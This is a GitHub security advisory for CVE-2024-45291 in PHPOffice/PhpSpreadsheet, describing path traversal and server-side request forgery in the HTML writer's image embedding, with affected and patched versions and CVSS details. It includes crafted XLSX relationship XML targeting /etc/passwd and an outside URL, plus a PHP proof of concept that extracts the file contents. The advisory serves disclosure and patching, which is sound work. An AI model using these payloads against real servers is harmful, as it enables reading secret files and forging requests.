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PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled

Moderate severity GitHub Reviewed Published Oct 7, 2024 in PHPOffice/PhpSpreadsheet • Updated Oct 16, 2024

Package

composer phpoffice/phpspreadsheet (Composer)

Affected versions

>= 2.2.0, < 2.3.0
< 1.29.2
>= 2.0.0, < 2.1.1

Patched versions

2.3.0
1.29.2
2.1.1

Description

Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

Details

XLSX files allow embedding or linking media. When

In xl/drawings/drawing1.xml an attacker can do e.g.:

<a:blip cstate="print" r:link="rId1" />

And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="/etc/passwd" />

or

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://example.org" />

When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.

if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
    $picture = @file_get_contents($filename);
    if ($picture !== false) {
        $imageDetails = getimagesize($filename) ?: ['mime' => ''];
        // base64 encode the binary data
        $base64 = base64_encode($picture);
        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
    }
}

$html .= '<img style="position: absolute; z-index: 1; left: '
    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
    . $imageData . '" alt="' . $filedesc . '" />';

PoC

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));

print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));

Add this file in the same directory:
book.xlsx

Run with:
php index.php

Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.

References

@oleibman oleibman published to PHPOffice/PhpSpreadsheet Oct 7, 2024
Published to the GitHub Advisory Database Oct 7, 2024
Reviewed Oct 7, 2024
Published by the National Vulnerability Database Oct 7, 2024
Last updated Oct 16, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

0.070%
(32nd percentile)

Weaknesses

CVE ID

CVE-2024-45291

GHSA ID

GHSA-w9xv-qf98-ccq4

Source code

Credits

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